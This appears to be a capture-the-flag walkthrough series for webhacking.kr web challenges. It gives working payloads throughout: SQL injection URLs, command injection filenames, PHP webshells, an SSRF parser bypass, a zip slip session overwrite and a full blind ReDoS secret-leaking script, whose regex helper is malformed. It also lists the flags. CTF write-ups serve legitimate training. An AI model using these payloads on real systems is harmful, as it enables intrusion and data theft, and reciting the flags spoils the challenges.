we will take the temp file: .index.php.swp by going to this file directly using the browser.

then, we can find at the bottom of the file the flag

Flag: FLAG{what_about_the_nano_editor?}

Next Level Writeup

old-38

change the text box to textarea:

changing the text box

then, insert this data:

bla
{your-ip}:admin

after all, go to the admin.php page

Next Level Writeup

old-39

here we will insert payload that will drop the last duplicated ‘

this is the code: [old-39]

{% include_relative scripts/old-39.py %}
Next Level Writeup

old-40

another sql injection

this is the code: [old-40]

{% include_relative scripts/old-40.py %}

we found that the password is: lUck_admin

Next Level Writeup

old-41

first we will upload file with long filename, and see what happens: [old-41]

{% include_relative scripts/old-41.py %}
<b>Warning</b>:  copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/asdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasda in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br />

as we can see in the warning, this is the directory: 4b0e87fef7b5e8ba83894970c9806042e5d6ec9a

let’s go to this directory and enter random file: https://webhacking.kr/challenge/web-19/4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/d

Flag: FLAG{error_msg_is_more_userful_than_you_think}

Next Level Writeup

old-42

i can see that there is base64 encoding here.

alt text

if we will decode this, we will get test.txt

so, let’s encode the name of the flag file, flag.docx and we will get ZmxhZy5kb2N4

let’s try do download this: https://webhacking.kr/challenge/web-20/?down=ZmxhZy5kb2N4

Flag: FLAG{very_difficult_to_think_up_text_of_the_flag}

Next Level Writeup

old-43 RevengE

Here we need to upload our webshell, however, it checks whether the uploaded file isn’t some specific unallowed file-type, and also trying to resize the image.

So, we will use exiftool to insert our webshell in the comment of the jpg file.

exiftool -Comment="<?php echo system('cat /flag'); ?>" webshell.jpg.php

And then, upload our webshell. I’ve changed the Content-type using burp

Change content-type

FLAG

Flag: FLAG{thank_you_q-roland}

Next Level Writeup

old-43

here i created this webshell

<?php echo `$_GET[x]`?>

then, when you access it: http://webhacking.kr:10004/upload/coolCode.php?x=cat%20/flag

Flag: FLAG{V2hhdCBkaWQgeW91IGV4cGVjdD8=}

Next Level Writeup

old-44

here, you need to insert this payload: 'ls;'

becuase the command that will be executed is this: echo 'hello! 'ls;'' then, when you access it: http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e

Flag: FLAG{y2u.be/sW3RT0tF020}

Next Level Writeup

old-45

another sql injection. here we use insert %bb and then, after the addslashes put \ before the ', it’ll take the %bb + \ and encode in euc-kr format.

this is the payload i gave:

here we want to insert this: id=%aa%27%20or%20id%20like%200x61646d696e', this is like: ' or id like admin this is the query i used in the http get

https://webhacking.kr/challenge/web-22/?id=%aa%27%20or%20id%20like%200x61646d696e--%20&pw=guest
Next Level Writeup

old-46

another sql injection. this time we can’t use 0x, so we use 0b.


this is equivalent to `5 or id like 'admin'#`

https://webhacking.kr/challenge/web-23/?lv=5%0bor%0bid%0blike%0b0b0110000101100100011011010110100101101110# ```

Next Level Writeup

old-47

this is trick with email, need to inject headers for CC alt text

Flag: FLAG{wasted_too_much_time_damn}

Next Level Writeup

old-48

in this challenge there is command injection. when we delete file, it runs this command: rm -rf $filename

so, we need to upload file with this name for example: file;ls. Then, when we delete the file, it’ll show us the flag.

Flag: FLAG{i_think_this_chall_is_cool}

Next Level Writeup

old-49

another sql injection. here we want to insert this: 1 or id = 'admin'

https://webhacking.kr/challenge/web-24/?lv=6%0b||id=0x661646D696E%0b
Next Level Writeup

old-50

another sql injection. here we use insert %bb and then, after the addslashes put \ before the ', it’ll take the %bb + \ and encode in euc-kr format.

this is the payload i gave:

(notice that i added **\, because i want that the union will be in the pw, because I can’t put it inside id) here we want to insert this: id=%bb%27%0b/*&pw=*/union%0bselect%0b3%0b--%0b'

this is the query i used in the http get

https://webhacking.kr/challenge/web-25/?id=%bb%27%0b/*&pw=*/union%0bselect%0b3%0b--%0b

s

Next Level Writeup

old-51

you need to insert to id the value admin and to the password this value 129581926211651571912466741651878684928 becasue the md5 hash of this produce: T0Do#'or'8, which contains 'or something, which exactly what we needs.

this solution is taken from this article: https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

Next Level Writeup

old-52

in this challenge there is both server vulnerabilities and sql injection. the source code can be found here: [old-52]

{% include_relative scripts/old-52.py %}

Flag: FLAG{Server_Side_Request_Forgery_with_proxy!}

Next Level Writeup

old-53

this is another sql injection problem.

here we inject this payload first in val 1 procedure analyse(), then we can see this result: webhacking.chall53_755fdeb36d873dfdeb2b34487d50a805.a

so, we now know the secret table, which is: chall53_755fdeb36d873dfdeb2b34487d50a805

https://webhacking.kr/challenge/web-28/?answer=chall53_755fdeb36d873dfdeb2b34487d50a805
Next Level Writeup

old-54

Open the network panel the Developer tools.

then, see the response you got, packet by packet.

alt text

Flag: FLAG{a7981201c48d0ece288afd01ca43c55b}?

Next Level Writeup

old-55

first, i entered the score 8200 using the command line:

alt text

then, I tried to find the third column name by using procedure analyse: 8200 limit 2,1 procedure analyse() i got this: id : webhacking.chall55.p4ssw0rd_1123581321 // means the column name is: p4ssw0rd_1123581321.

now, we will run the script to find the flag: [old-55]

{% include_relative scripts/old-55.py %}

Flag: FLAG{easy_peasy_lemon_squeezy!}

Next Level Writeup

old-56

here what you need to do is brute force, solution in the source code [old-56]

{% include_relative scripts/old-56.py %}

Flag: FLAG{himiko_toga_is_cute_dont_you_think_so?}

Next Level Writeup

old-57

another sql injection, same as usual. [old-57]

{% include_relative scripts/old-57.py %}

Flag: FLAG{y2u.be/kmPgjr0EL64}

Next Level Writeup

old-58

we can change the username, and send the command “flag”. alt text

then, we will get the flag

Flag: FLAG{do_you_know_about_darkhotel}

Next Level Writeup

old-59

we create the next raw: (‘nimda’,1,’admin’)

alt text

and then, we will insert this:

alt text

Next Level Writeup

old-60

this challenge is based on race condition, and also on the fact that you can talk on two different PHP sessions by changing your cookie.

this are the two source codes: [old-60_1]

{% include_relative scripts/old-60_1.py %}

[old-60_2]

{% include_relative scripts/old-60_2.py %}

they are mainly the same, the only difference it the PHPSESSID

Next Level Writeup

old-61

this is the payload we will send: 0x61646D696E%0bid#

this is equivalent to: 'admin' id#

we don’t need to use ‘as’, so what the query do is like that: select 'admin' as id #

Next Level Writeup

orange

It looks like SSRF, we can supply the url parameter.

$url = $_GET['url'].".txt";
    if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
    if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
    if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
    if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
    if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");

There are multiple checks, we need to build our payload step by step, to pass all the checks. Let’s GO!

filter_var($url, FILTER_VALIDATE_URL)

We need to supply valid URL, this is the RFC2396. This is the structure of valid URL: <scheme>://<authority><path>?<query>

preg_match("/http:\/\/webhacking.kr:10009\//",$url)

We must supply this string inside our input: http://webhacking.kr:10009/

preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)

We can’t supply any of this characters… so, trying to use @ or # won’t work… something like this: http://webhacking.kr:10009/@evil.com/ :|. So, this paper: A New Era of SSRF from Orange Tsai won’t work.

parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)

We must supply in the host webhacking.kr and in the port 10009. For example, this won’t work: http://blabla:1003/http://webhacking.kr/.

parse_url($url)['user'] || parse_url($url)['pass'])

Another mitigation, to stop us from manipulate the URL to treat the legit host as username or passowrd.

ATTACK

We can insert this: http://webhacking.kr:10009/,http://webhacking.kr:10009/ (notice the ,). However we can also change the url scheme to data: data://webhacking.kr:10009/,http://webhacking.kr:10009/, and then we receive this response: data scheme

THE TRICK

All the parsing functions process the content without url-decoding it, but the include function decode it! so, let’s try give this payload: data://webhacking.kr:10009/,http://webhacking.kr:10009/%2540 parsing bypass

WOW! if we can insert @, so we can insert also our php code :)

I wrote short script, you can use it: [orange.py]

{% include_relative scripts/orange.py %}

Flag: FLAG{hardcore_from_7.1}

Next Level Writeup

RegexMaster

In this challange we exploit regex injection.

I used this paper Blind Regex Injection.

If we’ll supply this input: ?pattern=^(?=F)((.*)*)*salt$, then it first checks whether the first char is F, and if so, goes to this loop: ((.*)*)*, which makes it do backtracking till collapsing in the backend.

For example: ?pattern=^(?=..A)((.*)*)*salt$ -> Takes time (3rd char is A)

In our side, all we can see is that on the right char it got delayed: Burp image

So, let’s write our script: [regexMaster.py]

import asyncio
import aiohttp
import random
import string
import time
import re

# Constants
URL = "http://218.145.226.8:20001"
SESSION_ID = "fsjfd38r8f4a723sl4tojnv75l"
cookies = {'PHPSESSID': SESSION_ID}
TIME_THRESHOLD = 2.0  # seconds

# Utilities (copied from the first script)
def length_in(i, j):
    return ".{" + str(i) + "," + str(j) + "}$"

def nth_char_in(n, S):
    # Create a range pattern for subsets, e.g., [\x01-\x56]
    if len(S) > 1:  # More than one character, we can define a range
        lower = min(S)
        upper = max(S)
        return f".}[\\x{lower:02x}-\\x{upper:02x}].*$"
    else:  # Single character, no range
        return f".}[{re.escape(chr(S[0]))}].*$"

def redos_if(regexp, salt):
    return f"^(?={regexp})(((.*)*)*)*{salt}"

def generate_salt():
    return ''.join(random.choices(string.ascii_letters, k=10))

# Async version of get_request_duration
async def get_request_duration(session, payload):
    params = {'pattern': payload}
    timeout = aiohttp.ClientTimeout(total=10)
    try:
        start = time.monotonic()
        async with session.get(URL, params=params, timeout=timeout) as response:
            await response.text()
        end = time.monotonic()
        return end - start
    except asyncio.TimeoutError:
        return 999  # Return a high value to signify timeout

async def prop_holds(session, prop, salt):
    payload = redos_if(prop, salt)
    duration = await get_request_duration(session, payload)
    return duration > TIME_THRESHOLD

async def main():
    async with aiohttp.ClientSession(cookies=cookies) as session:
        # Generate a salt that triggers a slowdown
        print("[*] Searching for effective salt...")
        salt = generate_salt()
        while not await prop_holds(session, '.*', salt):
            salt = generate_salt()
        print(f"[+] Salt found: {salt}")

        # Leak secret length
        lower_bound = 0
        upper_bound = 100
        print("[*] Starting length detection...")
        while lower_bound != upper_bound:
            m = (lower_bound + upper_bound) // 2
            if await prop_holds(session, length_in(lower_bound, m), salt):
                upper_bound = m
            else:
                lower_bound = m + 1
            print(f"[*] Length bounds: ({lower_bound}, {upper_bound})")
        secret_length = lower_bound
        print(f"[+] Leaked length: {secret_length}")

        # Leak the secret character by character
        # Considering all ASCII characters (0-255)
        S = bytes(range(256))  # All ASCII characters
        secret = ""
        print("[*] Starting character leak...")
        for i in range(len(secret), secret_length):
            lower_bound = 0
            upper_bound = len(S) - 1
            while lower_bound != upper_bound:
                m = (lower_bound + upper_bound) // 2
                subset = S[lower_bound:m+1]
                if await prop_holds(session, nth_char_in(i + 1, subset), salt):
                    upper_bound = m
                else:
                    lower_bound = m + 1
            secret += chr(S[lower_bound])  # Convert to character
            print(f"[+] Secret so far: {secret}")
        print(f"[+] Final secret: {secret}")

if __name__ == "__main__":
    asyncio.run(main())

Flag: FLAG{im_r/e/g/e/x_master//_//}

Next Level Writeup

RPG1

in this challenge i read the code and searched for a function that check the passage, for crossing the river.

example

i override this function by running this command: Game_Map.prototype.checkPassage = () => true;

example

and then, i was able to cross the river!

Flag: FLAG{I_am_a_RPG_Mast3R_}

Next Level Writeup

sliping beauty

In this challange we exploit the zip slip, here you can read about it: Zip Slip.

We override the session file with admin privilege, and then we can see the flag, as wrote in the source code

agonen@PC4:~$ php -a
Interactive shell

php > session_start();
php > echo session_id();
0tf30efgp62k6u1jm9lbmeckg7
php > $_SESSION['uid'] = 'admin';
php > echo session_encode();
uid|s:5:"admin";
php >

Now, all left is to create our payload: python3 sliping_beauty.py, and then upload it to the server.

Lastly, let’s change our session ID to the session id we achieve, for example: 0tf30efgp62k6u1jm9lbmeckg791194204 (include the random chars).

FLAG

Flag: FLAG{my_zip_is_sliping_beauty}

Next Level Writeup